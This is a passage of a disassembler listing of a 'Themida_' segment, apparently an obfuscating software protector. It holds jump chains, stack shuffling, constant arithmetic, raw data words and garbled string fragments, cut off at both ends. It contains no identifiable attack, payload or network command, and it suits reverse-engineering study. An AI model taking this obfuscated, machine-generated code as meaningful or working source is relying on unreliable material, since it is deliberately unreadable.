CODE XREF: Themida_:00594E08j xchg ebp, [esp] pop esp jmp loc_5979E5 ; --------------------------------------------------------------------------- aSS_7 db 'ΠμιΥ',0 align 2 loc_58C72E: ; CODE XREF: Themida_:00594BAEj add eax, 0B13531EBh jmp loc_5973A9 ; --------------------------------------------------------------------------- dd 440AF681h, 0F52912BAh, 242C875Eh, 240C895Ch, 2B9h, 8BCF0100h dd 0E956240Ch, 0FFFFF938h, 1DD768h, 465DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C762: ; CODE XREF: Themida_:0058E438j add esp, 4 jmp loc_58BB39 ; --------------------------------------------------------------------------- loc_58C76A: ; CODE XREF: Themida_:00590C38j mov esp, [esp] and [esp], al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 8D0Fh dd 8691h, 8046C480h, 0ECD001C4h, 0FFFF9EE9h, 2434FFFFh dd 582434FFh, 5104C483h, 0C181E189h, 4, 0A356E955h, 4830000h dd 815E0424h, 4ECh, 24148900h, 0DCDE9h db 0 ; --------------------------------------------------------------------------- loc_58C7B5: ; CODE XREF: Themida_:005917CBj xor edx, 3C0AB076h jmp loc_58BEC0 ; --------------------------------------------------------------------------- dd 0FA8C680h, 24E682h, 0E9525100h, 3DBh, 5AD7015Fh db 53h, 57h ; --------------------------------------------------------------------------- loc_58C7D6: ; CODE XREF: Themida_:005900D1j push ebp pop esi pop ebp jmp loc_5906ED ; --------------------------------------------------------------------------- loc_58C7DE: ; CODE XREF: Themida_:0059438Bj mov ebp, 4 add edi, ebp mov ebp, [esp] jmp loc_58E1E4 ; --------------------------------------------------------------------------- loc_58C7ED: ; CODE XREF: Themida_:005922A2j mov bh, 0D2h and al, bh pop ebx inc al jmp loc_59781D ; --------------------------------------------------------------------------- loc_58C7F9: ; CODE XREF: Themida_:00594A49j add bh, ch mov ecx, [esp] jmp loc_5910AE ; --------------------------------------------------------------------------- db 0C0h dd 9BE903E4h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C80B: ; CODE XREF: Themida_:loc_590327j sub ebp, 7E96BDFBh mov edx, ebp mov ebp, [esp] add esp, 4 sub edi, edx pop edx xor edi, 8B38AA28h add esi, edi jmp loc_59373E ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 0D0F58100h, 5E240C3h, 7E903EA7h, 0BD55E829h dd 7E903EA7h, 0FF5DE829h, 575D2434h, 0C781E789h, 4, 5313E9h dd 0EC815C00h, 4, 0BD242C89h, 2B7C1E87h, 0E839ED81h, 0E8011B08h dd 81242C8Bh, 4ECh, 24048900h, 4EC81h, 24890000h, 24048324h dd 24048B04h, 0E904C483h, 1810h, 0E8B65266h, 46BAE9h, 55E18900h dd 851776BDh, 81D5F763h, 7AE88DF5h, 0B1E9819Ch, 0E97D9564h dd 9377h ; --------------------------------------------------------------------------- loc_58C8BC: ; CODE XREF: Themida_:0059487Bj xor [esp], edi xor edi, [esp] xor [esp], edi add edi, 1 push ebp push esp pop ebp push 2B29h mov [esp], edi jmp loc_596CF6 ; --------------------------------------------------------------------------- loc_58C8DB: ; CODE XREF: Themida_:00597EA6j mov edx, 10CE0E75h push ecx mov ecx, 10CE0E75h mov eax, ecx pop ecx jmp loc_590CD9 ; --------------------------------------------------------------------------- dw 0F681h dd 0B706F184h, 348BF389h, 4C48124h, 0E9000000h, 0FFFFEAE5h dd 5204C483h, 25EE9h, 0E95B6600h, 8E75h, 778A0F40h, 35000015h dd 7607DFB4h, 0C604E8C1h db 0C3h, 75h, 50h ; --------------------------------------------------------------------------- loc_58C927: ; CODE XREF: Themida_:0058E121j not eax inc eax sub eax, 0B917BB63h and edx, eax pop eax xor edx, 59256118h neg edx sub edx, 92DB9C6Eh jmp loc_58C16D ; --------------------------------------------------------------------------- loc_58C945: ; CODE XREF: Themida_:0058A748j or ecx, 65D0F76h jmp loc_58C387 ; --------------------------------------------------------------------------- loc_58C950: ; CODE XREF: Themida_:0058F2ABj add esp, 4 push 2AAFh mov [esp], edx jmp loc_5979C9 ; --------------------------------------------------------------------------- loc_58C963: ; CODE XREF: Themida_:00590524j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi jmp loc_5908B3 ; --------------------------------------------------------------------------- dw 6664h dd 0DE9028Bh db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C97F: ; CODE XREF: Themida_:0058C12Ej mov esp, [esp] mov [esp], eax jmp loc_592E29 ; --------------------------------------------------------------------------- dw 0E1C1h dd 2BF18107h, 8156A37Eh, 0B9405AE9h, 0AEABE969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C99E: ; CODE XREF: Themida_:0058C0E3j mov esp, [esp] jmp loc_58B3A4 ; --------------------------------------------------------------------------- dw 815Fh dd 4C7h, 4C78300h, 8B243C87h, 0B1E92424h, 5C000086h, 0D8288904h dd 0CF68892Ch, 89000067h, 0FB1240Ch, 807AE980h, 0D9F60AC1h dd 2260E9h db 0 ; --------------------------------------------------------------------------- loc_58C9D9: ; CODE XREF: Themida_:0058BD36j sub ah, 0E0h jmp loc_58CA29 ; --------------------------------------------------------------------------- aISvi db 'Αλ',8,'ιv¨',0 db 0 ; --------------------------------------------------------------------------- loc_58C9E9: ; CODE XREF: Themida_:0058C1BBj xchg eax, edx dec edx dec edx add edx, 91AC0334h jmp loc_590F16 ; --------------------------------------------------------------------------- db 1 dd 48F32DF8h, 34FF58BFh, 54E95F24h db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CA07: ; CODE XREF: Themida_:00597A0Cj cmp eax, edx jz loc_59259A push 6E1Eh mov [esp], edx push ecx push 5855664h pop ecx sub ecx, 99D31F3h jmp loc_58B095 ; --------------------------------------------------------------------------- loc_58CA29: ; CODE XREF: Themida_:0058C9DCj add ah, 66h add dh, ah mov eax, [esp] add esp, 4 push ecx jmp loc_5958BF ; --------------------------------------------------------------------------- loc_58CA3D: ; CODE XREF: Themida_:00597056j or eax, 0B897B03h jmp loc_597F78 ; --------------------------------------------------------------------------- db 66h dd 566D029h, 2D663C8Bh, 665A1C2Eh, 83241C8Bh, 506602C4h dd 2095B866h, 66C30166h, 0E924048Bh, 85B0h ; --------------------------------------------------------------------------- loc_58CA6C: ; CODE XREF: Themida_:loc_58C5E8j not edi push 35Fh jmp loc_58B44B ; --------------------------------------------------------------------------- dd 5C241C33h, 89240C89h, 0D0E952E1h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CA87: ; CODE XREF: Themida_:0058D926j xor bl, al movzx eax, al push dword ptr [edi+eax*4] push edi mov edi, 43781F68h jmp loc_59122E ; --------------------------------------------------------------------------- dw 8159h dd 0C6244DF1h, 0E1815A6Eh, 58E405F3h, 40FE981h, 0C8015060h dd 4BA5259h, 1000000h, 4335AD0h, 1DEEE924h, 0B8500000h dd 2FCC5788h, 0E906E8C1h, 0FFFFE051h ; --------------------------------------------------------------------------- loc_58CAD0: ; CODE XREF: Themida_:0058CE06j push 4E88h jmp loc_58F7BC ; --------------------------------------------------------------------------- loc_58CADA: ; CODE XREF: Themida_:00591B30j add ebp, 7461519h sub ebp, 613E0866h add ebp, esi jmp loc_59380A ; --------------------------------------------------------------------------- db 80h, 0EAh, 56h dd 52E9D188h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CAF7: ; CODE XREF: Themida_:005957B5j pop ecx add edx, 4 jmp loc_58E145 ; --------------------------------------------------------------------------- loc_58CB00: ; CODE XREF: Themida_:0059195Cj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp cmp cx, ax pushf jmp loc_596923 ; --------------------------------------------------------------------------- dw 0F45h dd 295F8Ch, 1CE94D00h, 81FFFFF6h, 6A7E70EDh db 83h, 57h ; --------------------------------------------------------------------------- loc_58CB26: ; CODE XREF: Themida_:loc_58F6A0j sub edx, 7C198C65h jmp loc_59258A ; --------------------------------------------------------------------------- loc_58CB31: ; CODE XREF: Themida_:0059413Fj push eax mov eax, 54113F26h sub ebx, eax pop eax add ebx, 45BED362h add edi, ebx pop ebx push ecx jmp loc_58F072 ; --------------------------------------------------------------------------- db 54h, 0E9h, 67h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CB4F: ; CODE XREF: Themida_:005927DCj pop ebp push 5DE9h mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_58DA19 ; --------------------------------------------------------------------------- dw 74FFh dd 0FBE90424h, 6800002Ch, 4CBBh, 83242489h, 8B042404h dd 13E92414h, 68000029h, 1B78h, 8A82E9h db 0 ; --------------------------------------------------------------------------- loc_58CB89: ; CODE XREF: Themida_:0058AC8Fj mov bl, al mov dl, bl mov ebx, [esp] add esp, 4 mov bl, dl mov edx, [esp] add esp, 4 pop eax jmp loc_5977E9 ; --------------------------------------------------------------------------- loc_58CBA4: ; CODE XREF: Themida_:00594D21j xor ebx, eax jmp loc_594090 ; --------------------------------------------------------------------------- db 0ACh dd 4EC81h, 0ABE90000h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CBB7: ; CODE XREF: Themida_:00590322j ; Themida_:00596F9Bj jp loc_593299 shl ebx, 2 jz loc_58D770 sub ebx, 52F96193h jmp loc_58F614 ; --------------------------------------------------------------------------- loc_58CBD1: ; CODE XREF: Themida_:0058B5E6j add esi, 0C9A36DB7h jmp loc_595564 ; --------------------------------------------------------------------------- loc_58CBDC: ; CODE XREF: Themida_:0059805Aj pop ebx add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_58A569 ; --------------------------------------------------------------------------- loc_58CBED: ; CODE XREF: Themida_:005943F6j add ecx, 0E4CF820Dh mov esi, ecx pop ecx jmp loc_594806 ; --------------------------------------------------------------------------- db 81h dd 9F9089EBh, 57EE81DBh, 17C2768h, 0AABA52DEh, 8107AA54h dd 0F3301FC2h, 6EAC141h, 1A9CEA81h, 0EA8149C5h, 3BB00155h dd 0F1CBEA81h, 0BDE9FF89h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CC2F: ; CODE XREF: Themida_:0058A591j push ecx mov ch, ah mov bh, ch pop ecx jmp loc_596C4E ; --------------------------------------------------------------------------- dw 810Fh dd 0FFFFF387h, 7BBB5351h, 0B07DA009h db 4Dh, 89h, 0FFh ; --------------------------------------------------------------------------- loc_58CC4B: ; CODE XREF: Themida_:0058B200j and edi, 2CC43FC1h inc edi add edi, 306B5E36h add edx, edi pop edi sub esp, 4 mov [esp], ecx jmp loc_592B77 ; --------------------------------------------------------------------------- loc_58CC69: ; CODE XREF: Themida_:005902C9j pop ebp and ecx, edi mov edi, [esp] jmp loc_58DBC4 ; --------------------------------------------------------------------------- loc_58CC74: ; CODE XREF: Themida_:0058F2CDj xchg edi, [esp] pop esp shr ecx, 0Bh push 6C04h mov [esp], edi push ebx sub dword ptr [esp], 451B6CF4h jmp loc_59124E ; --------------------------------------------------------------------------- loc_58CC90: ; CODE XREF: Themida_:0058B637j mov bh, 0 add al, bh jmp loc_58C58D ; --------------------------------------------------------------------------- db 41h, 81h, 0E9h dd 20490312h, 78EEE9h db 0 ; --------------------------------------------------------------------------- loc_58CCA5: ; CODE XREF: Themida_:00596657j push 4223h mov [esp], edi push 160Eh jmp loc_596DEA ; --------------------------------------------------------------------------- loc_58CCB7: ; CODE XREF: Themida_:0058EBEFj dec ebx jle loc_595637 dec ebx jnp loc_59490B shr ebx, 7 jns loc_592882 sub ebx, 0FFFDBA48h push ebx pop edi pop ebx jmp loc_5919CC ; --------------------------------------------------------------------------- dd 4C68159h, 81000000h, 4C6h, 43E95600h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CCEF: ; CODE XREF: Themida_:0058FF4Bj pop eax add ebx, edi pop edi xor ebx, [esp] jmp loc_5971A0 ; --------------------------------------------------------------------------- loc_58CCFB: ; CODE XREF: Themida_:005920F6j add esi, 4 xchg esi, [esp] pop esp jmp loc_592689 ; --------------------------------------------------------------------------- loc_58CD07: ; CODE XREF: Themida_:00591912j sub esi, eax pop eax sub ebx, esi pop esi add eax, [ebx] pop ebx jmp loc_595ED8 ; --------------------------------------------------------------------------- loc_58CD15: ; CODE XREF: Themida_:00590D3Aj add ebx, 4 jmp loc_590DB4 ; --------------------------------------------------------------------------- loc_58CD20: ; CODE XREF: Themida_:0058C179j mov esp, [esp] mov ax, [esp] push edx mov edx, esp jmp loc_58B4D6 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 0D590E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CD3E: ; CODE XREF: Themida_:0058E93Ej shr esi, 4 shr esi, 6 push ecx mov ecx, 67740DDh xor ecx, 52DC3C7Bh shr ecx, 1 shl ecx, 7 shl ecx, 6 sub ecx, 8D7A125Ah jmp loc_595862 ; --------------------------------------------------------------------------- loc_58CD63: ; CODE XREF: Themida_:0058B3C5j mov ebp, 4 add esi, ebp pop ebp add esi, 2 xchg esi, [esp] pop esp push ebx push eax mov ah, dl jmp loc_593802 ; --------------------------------------------------------------------------- db 0Fh dd 785F87h, 6EFC100h, 0F89EF81h, 815271E8h, 24216BEBh dd 5BDA01C6h, 5357D2F7h, 551AC0BBh, 5BDF8902h, 5007EFC1h dd 4F4D78B8h, 0F7D8F766h, 89E940D8h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CDB3: ; CODE XREF: Themida_:0058A8F5j or esi, 73995CAFh sub esi, 62F52DA8h mov eax, esi pop esi and eax, 770F001Ah sub eax, 1506000Eh add ebp, eax pop eax push eax mov eax, 4 sub ebp, eax pop eax push ebp jmp loc_58DDCC ; --------------------------------------------------------------------------- dw 77FFh dd 11589D1Ch, 0E99C2404h, 0FFFFD4E2h ; --------------------------------------------------------------------------- loc_58CDEC: ; CODE XREF: Themida_:00596AE5j or ebx, esi pop esi push ecx jmp loc_591F45 ; --------------------------------------------------------------------------- loc_58CDF5: ; CODE XREF: Themida_:0058C6A1j add eax, esi add eax, 7F37C2Eh pop esi mov edi, [esp] add esp, 4 jmp loc_58CAD0 ; --------------------------------------------------------------------------- loc_58CE0B: ; CODE XREF: Themida_:0058BD8Fj mov cl, 0D2h and cl, 0DCh jmp loc_5958F0 ; --------------------------------------------------------------------------- a13S? db '1<$3<$ι',0Bh,'?',0 align 10h dd 582434FFh, 815F5457h, 4C7h, 5BE95600h, 8100000Dh, 4C2h dd 56046800h, 3C890000h, 0AEE95524h, 81000044h, 4C4h, 89525500h dd 4C281E2h, 83000000h, 148704EAh, 4895C24h, 80BCE924h dd 0E9AD0000h, 8BC0h ; --------------------------------------------------------------------------- loc_58CE6C: ; CODE XREF: Themida_:00590D64j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_58BACA ; --------------------------------------------------------------------------- loc_58CE7F: ; CODE XREF: Themida_:0058F214j add esp, 4 jmp loc_594C16 ; --------------------------------------------------------------------------- loc_58CE8A: ; CODE XREF: Themida_:0058BFF3j add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push esi mov esi, 120C6F33h or esi, 3A3140B0h jmp loc_58B5BA ; --------------------------------------------------------------------------- loc_58CEB1: ; CODE XREF: Themida_:0058DF23j mov esp, [esp] jmp loc_58FFD3 ; --------------------------------------------------------------------------- loc_58CEB9: ; CODE XREF: Themida_:00592F96j mov [esp], esp push ebx jmp loc_58A6FB ; --------------------------------------------------------------------------- loc_58CEC2: ; CODE XREF: Themida_:00592036j ; Themida_:005963CBj mov eax, 6A6A1FC9h add edi, eax pop eax jmp loc_596B92 ; --------------------------------------------------------------------------- aX_rsR db 'X_Rι!r',0 db 0 ; --------------------------------------------------------------------------- loc_58CED7: ; CODE XREF: Themida_:00592684j jmp loc_594B2B ; --------------------------------------------------------------------------- loc_58CEDC: ; CODE XREF: Themida_:00595085j mov cl, 71h xor dh, cl mov cx, [esp] add esp, 2 sub al, 0D5h push bx mov bh, 0CAh add al, bh pop bx add al, dh sub al, 0CAh jmp loc_58F85F ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4EFh, 243C8700h, 243C895Ch, 0A864E9h db 0 ; --------------------------------------------------------------------------- loc_58CF15: ; CODE XREF: Themida_:00596BEFj mov eax, 0F4EB65A1h xor edx, eax pop eax sub ebp, edx pop edx xor ebp, 147A1EB1h not ebp jmp loc_591823 ; --------------------------------------------------------------------------- db 29h, 0EEh, 5Dh dd 0E9243433h, 48F6h, 2C8BE801h, 4C48124h, 0E9000000h dd 0FFFFD628h, 405E089h, 83000000h, 0D2E904ECh, 53000056h dd 7C08E9h, 0C2F38000h, 5C7DE9h db 0 ; --------------------------------------------------------------------------- loc_58CF65: ; CODE XREF: Themida_:00597E7Aj sub edx, ebp pop ebp sub esp, 4 mov [esp], ecx jmp loc_58EBF4 ; --------------------------------------------------------------------------- db 0FEh dd 0F6C4FECCh, 0D1B252D4h, 8007E2C0h, 0F280B9CAh, 66EA80EBh dd 307BC280h, 0C4805AD4h, 58E53004h, 0C8BE830h, 0E3895324h dd 4C381h, 28E90000h, 0AD0000A1h, 7C52BA52h, 0EA8108E6h dd 52970E08h, 393468h, 240C8900h, 0FFECEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_58CFC1: ; CODE XREF: Themida_:00597C8Dj pop ebx and eax, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_590B34 ; --------------------------------------------------------------------------- db 0BBh, 0A0h, 13h dd 0D801235Fh, 2434FF5Bh, 592434FFh, 50CAE9h db 0 ; --------------------------------------------------------------------------- loc_58CFF1: ; CODE XREF: Themida_:005979B2j mov esp, [esp] jmp loc_58AFE2 ; --------------------------------------------------------------------------- loc_58CFF9: ; CODE XREF: Themida_:0059147Cj add esi, 4 push ecx mov ecx, 614D1066h sub ecx, 614D1062h sub esi, 6823399h add esi, ecx add esi, 6823399h pop ecx xchg esi, [esp] pop esp or edx, eax shl edx, 1 push eax push ebx mov ebx, 1 mov eax, ebx pop ebx push 3E0Dh mov [esp], edx mov edx, 24h sub esp, 4 mov [esp], ebp mov ebp, 382A50DFh sub edx, ebp mov ebp, [esp] jmp loc_58F39F ; --------------------------------------------------------------------------- loc_58D051: ; CODE XREF: Themida_:0058BC1Ej xor eax, 79FA75FFh jmp loc_594734 ; --------------------------------------------------------------------------- loc_58D05B: ; CODE XREF: Themida_:0058DB70j ; Themida_:00591FDFj mov [esp], esi pop eax pop esi push ebp push ebx sub esp, 4 mov [esp], ecx jmp loc_58F4D9 ; --------------------------------------------------------------------------- db 58h, 59h, 1 dd 0D7D9E9E9h, 8B66FFFFh, 0EC832404h, 241C8904h, 9CC9E9h db 0 ; --------------------------------------------------------------------------- loc_58D085: ; CODE XREF: Themida_:00594C2Bj mov eax, 4 sub esi, 7F1C3ED0h add esi, eax add esi, 7F1C3ED0h mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_592E13 ; --------------------------------------------------------------------------- dw 0C483h dd 4C58104h, 0E9000000h, 7486h ; --------------------------------------------------------------------------- loc_58D0BC: ; CODE XREF: Themida_:0058B00Fj add esp, 4 sub ecx, 5A597F45h add ecx, edi add ecx, 5A597F45h push eax pop dword ptr [ecx] mov ecx, [esp] jmp loc_58D8FC ; --------------------------------------------------------------------------- loc_58D0D8: ; CODE XREF: Themida_:0058C35Bj mov [esp], ecx jmp loc_5964A4 ; --------------------------------------------------------------------------- loc_58D0E0: ; CODE XREF: Themida_:0058DBBFj add ecx, 4 jmp loc_5951B9 ; --------------------------------------------------------------------------- loc_58D0EB: ; CODE XREF: Themida_:0058B1B3j push ebx jmp loc_58DC19 ; --------------------------------------------------------------------------- db 1, 0F5h, 5Eh dd 8704ED83h, 895C242Ch, 4B82404h, 1000000h, 24048BC1h dd 4C481h, 0E9830000h, 0DB7EE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D116: ; CODE XREF: Themida_:0058A458j mov eax, esp sub esp, 4 mov [esp], esi jmp loc_58BEDD ; --------------------------------------------------------------------------- loc_58D126: ; CODE XREF: Themida_:005951C2j push dword ptr [esp+4] mov ecx, [esp] jmp loc_594ED0 ; --------------------------------------------------------------------------- dw 0D8F7h dd 2D862205h, 58C72913h, 5FFA3158h, 5A1C5709h, 0FFD185E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D149: ; CODE XREF: Themida_:00591164j ; Themida_:00593AC8j add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_594B4F ; --------------------------------------------------------------------------- loc_58D164: ; CODE XREF: Themida_:0058A738j neg cl ja loc_58EB56 push eax mov al, 0B8h or al, 0DCh and al, 0B8h xor al, 95h shl al, 3 dec al add al, 54h or cl, al pop eax and cl, 4Dh jb loc_58FB59 add cl, 0F9h mov bh, cl push dword ptr [esp] jmp loc_596CAB ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aRitsc db '$Rβι`',0 db 0 ; --------------------------------------------------------------------------- loc_58D1A1: ; CODE XREF: Themida_:0058F812j mov esi, 4100C26Fh push ebx mov ebx, 560E4288h sub ecx, ebx jmp loc_591389 ; --------------------------------------------------------------------------- loc_58D1B3: ; CODE XREF: Themida_:0058F4ADj mov esi, ecx jmp loc_5977BA ; --------------------------------------------------------------------------- loc_58D1BA: ; CODE XREF: Themida_:00591080j pop eax inc eax add eax, 1625718Ah add ebx, eax pop eax jmp loc_58FC72 ; --------------------------------------------------------------------------- loc_58D1C9: ; CODE XREF: Themida_:0058BF89j sub ebx, 2A7C5613h sub ebx, 3558747Fh add ebx, edx add ebx, 3558747Fh add ebx, 2A7C5613h pop edx and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_592857 push edx push esi sub esp, 4 mov [esp], edi jmp loc_590B70 ; --------------------------------------------------------------------------- dd 24348150h, 3D0C1D82h, 24A0E95Bh, 2C330000h, 242C3124h dd 5C242C33h, 8957C80Fh, 4C781E7h, 81000000h, 4EFh, 7D41E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D236: ; CODE XREF: Themida_:0058A6F6j sub esp, 4 jmp loc_591917 ; --------------------------------------------------------------------------- db 64h, 66h, 0Fh dd 545102B6h, 6F18E9h db 0 ; --------------------------------------------------------------------------- loc_58D24D: ; CODE XREF: Themida_:0058FB61j push edx mov edx, 0FFFFFFFFh jmp loc_591EB5 ; --------------------------------------------------------------------------- dd 5406CE81h, 81467D0Bh, 647B2EF6h, 5EF70138h, 5DE0EF81h dd 335A77F3h, 3C31243Ch, 243C3324h, 1CA7E9h db 0 ; --------------------------------------------------------------------------- loc_58D27D: ; CODE XREF: Themida_:0059443Bj sub esi, ebp sub esi, 220B2D76h add esi, 2CFD2B33h pop ebp and eax, esi jmp loc_58F954 ; --------------------------------------------------------------------------- loc_58D293: ; CODE XREF: Themida_:00590E2Ej xor ebp, 67F44F0Eh and ebp, 75B586Ah push ecx mov ecx, 477A40ACh xor ebp, ecx pop ecx shr ebp, 2 xor ebp, 10CAC035h jmp loc_592EE5 ; --------------------------------------------------------------------------- loc_58D2B6: ; CODE XREF: Themida_:00590A97j not edx or edx, 60077B84h shr edx, 8 xor edx, 3A1960B4h sub edx, 0F0CF951Ah sub ebx, 1F325105h sub ebx, edx jmp loc_590373 ; --------------------------------------------------------------------------- loc_58D2DA: ; CODE XREF: Themida_:00594B32j mov ecx, 35AE46A2h sub ecx, edi jmp loc_595921 ; --------------------------------------------------------------------------- loc_58D2E6: ; CODE XREF: Themida_:0059308Cj xor ebp, eax jmp loc_58B239 ; --------------------------------------------------------------------------- loc_58D2ED: ; CODE XREF: Themida_:00591732j add eax, edx add eax, 2A0D12AAh jmp loc_5922B2 ; --------------------------------------------------------------------------- db 81h, 0F5h, 13h dd 8115C31Bh, 7A4D6AF5h, 86DAE94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D30A: ; CODE XREF: Themida_:00594FEEj sub ecx, esi pop esi mov esi, ecx jmp loc_58BA94 ; --------------------------------------------------------------------------- loc_58D314: ; CODE XREF: Themida_:0058A772j add bl, 0E3h sub bl, 3Dh jmp loc_59357F ; --------------------------------------------------------------------------- loc_58D31F: ; CODE XREF: Themida_:0058E8ECj push eax mov eax, edx push edi mov edi, eax mov esi, edi pop edi pop eax mov edx, [esp] add esp, 4 sub eax, 225012F1h sub eax, esi add eax, 225012F1h pop esi push ebx mov ebx, 5B98976Dh jmp loc_592D57 ; --------------------------------------------------------------------------- loc_58D34A: ; CODE XREF: Themida_:0058C136j add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A530 ; --------------------------------------------------------------------------- loc_58D35B: ; CODE XREF: Themida_:00594E5Ej mov ebp, 0CD51514h xor ebp, 69537D08h dec ebp jmp loc_58D8D5 ; --------------------------------------------------------------------------- loc_58D36C: ; CODE XREF: Themida_:0058B5F2j ; Themida_:0059067Dj mov ecx, esi pop esi shl ecx, 7 xor ecx, 625714FAh jg loc_58E794 xor ecx, 9FD30FFAh push edx push ecx pop edx mov eax, edx jmp loc_5946E3 ; --------------------------------------------------------------------------- dw 0EE81h dd 4E32513Dh, 8904EC83h, 88BF243Ch, 29249D78h, 56C8E9FEh dd 8B660000h, 54562404h, 4EC835Eh, 0A6DEE9h db 0 ; --------------------------------------------------------------------------- loc_58D3B5: ; CODE XREF: Themida_:0058C52Ej mov edi, esp jmp loc_58E57F ; --------------------------------------------------------------------------- loc_58D3BC: ; CODE XREF: Themida_:00590DAFj mov ebp, 78A8264Bh jmp loc_5975C4 ; --------------------------------------------------------------------------- loc_58D3C6: ; CODE XREF: Themida_:00591F60j sub edx, eax sub edx, 672B404Bh push eax jmp loc_58F820 ; --------------------------------------------------------------------------- dd 24048B66h, 50E28952h, 7870BE56h, 0F463F1Ch, 95CA81h dd 14F75600h, 0E637E924h, 3C8BFFFFh, 5FDF8A24h, 0E9241489h dd 8822h, 42474FFh, 24048F59h, 2414895Ch, 0BBE99C50h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D413: ; CODE XREF: Themida_:loc_593AB7j add esi, 0FD346D2Ah mov ebx, esi mov esi, [esp] add esp, 4 shl ebx, 6 push ebx not dword ptr [esp] pop ebx shr ebx, 4 jmp loc_596ADF ; --------------------------------------------------------------------------- loc_58D434: ; CODE XREF: Themida_:0058B587j add esi, 4 jmp loc_59460E ; --------------------------------------------------------------------------- db 0F6h dd 0B60F66E1h, 0BC6866CCh, 0C896649h, 2B75E924h, 80B90000h dd 11D293Ah, 680559C8h, 29573554h, 54682DF0h, 802D5735h dd 8B1D293Ah, 0C4832434h, 57D82904h, 0E67D2D68h, 243C8B0Fh dd 0E904C483h, 0A2E5h ; --------------------------------------------------------------------------- loc_58D484: ; CODE XREF: Themida_:00593274j mov edi, esp add edi, 4 add edi, 4 jmp loc_59576A ; --------------------------------------------------------------------------- loc_58D497: ; CODE XREF: Themida_:0059213Bj pop ecx or eax, eax jz loc_58B321 push dword ptr [edi+28h] push ebp mov ebp, 4FC95A1Eh push esi mov esi, 10A703A4h add [esp+8], esi jmp loc_59350A ; --------------------------------------------------------------------------- loc_58D4B8: ; CODE XREF: Themida_:00592E0Ej mov ebx, [esp] add esp, 4 jmp loc_58DC97 ; --------------------------------------------------------------------------- aQReb4bIv7Su db 'QΉRE‘4ΙV7{ι;',0 align 4 loc_58D4D4: ; CODE XREF: Themida_:0058A4B1j add ecx, edx add ecx, 4D811A70h mov dword ptr [ecx], 0D6F6CAAh sub esp, 4 jmp loc_594E8C ; --------------------------------------------------------------------------- loc_58D4ED: ; CODE XREF: Themida_:0058C611j push 74C2h mov [esp], eax push 3BC5320Ch pop eax push ebp mov ebp, 77D1A17h not ebp inc ebp shl ebp, 5 add ebp, 1 xor ebp, 17031D2Ah and ebp, 565E5BEFh xor ebp, 236C402Bh xor eax, ebp jmp loc_592661 ; --------------------------------------------------------------------------- loc_58D526: ; CODE XREF: Themida_:0058F96Bj pop ebx inc ebx push ebp jmp loc_592607 ; --------------------------------------------------------------------------- loc_58D52E: ; CODE XREF: Themida_:005921E2j mov bl, 41h mov al, 24h add al, 9Bh add al, bl sub al, 9Bh pop ebx sub al, 38h jz loc_593152 jmp loc_58D770 ; --------------------------------------------------------------------------- dw 8B66h dd 8B68240Ch, 8900007Ah, 0F1E92404h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D557: ; CODE XREF: Themida_:00593D3Fj mov dh, 50h push ebx push edx push cx push ebx mov bl, 30h add bl, 0EDh jl loc_58A9F3 add bl, 76h shr bl, 5 jns loc_58DD51 shl bl, 1 jns loc_58FD5F jmp loc_591516 ; --------------------------------------------------------------------------- dw 93BAh dd 0C1713647h, 0EC8102EAh, 4, 0BE243489h, 1C4D91E0h, 15EF231h dd 0C6835AD6h, 24348704h, 2124248Bh, 0E99C2404h, 0FFFFCD1Eh ; --------------------------------------------------------------------------- loc_58D5B0: ; CODE XREF: Themida_:00590831j pop ebx push ecx mov ecx, 66FE2553h sub edi, ecx jmp loc_597FA4 ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 24148BD6h, 7DEE9h, 0BA525100h, 5379141Fh dd 0DB37E952h, 0E189FFFFh, 0FFEB07E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D5E1: ; CODE XREF: Themida_:0058F5CEj mov ebp, 2C425684h add ebx, ebp pop ebp jmp loc_5947F8 ; --------------------------------------------------------------------------- loc_58D5EE: ; CODE XREF: Themida_:0058E482j sub bh, 6Bh add bh, ch jmp loc_596425 ; --------------------------------------------------------------------------- loc_58D5F8: ; CODE XREF: Themida_:0059348Aj mov [esp], ecx mov ecx, 46870560h xor ecx, 16606035h neg ecx shl ecx, 1 shl ecx, 7 jmp 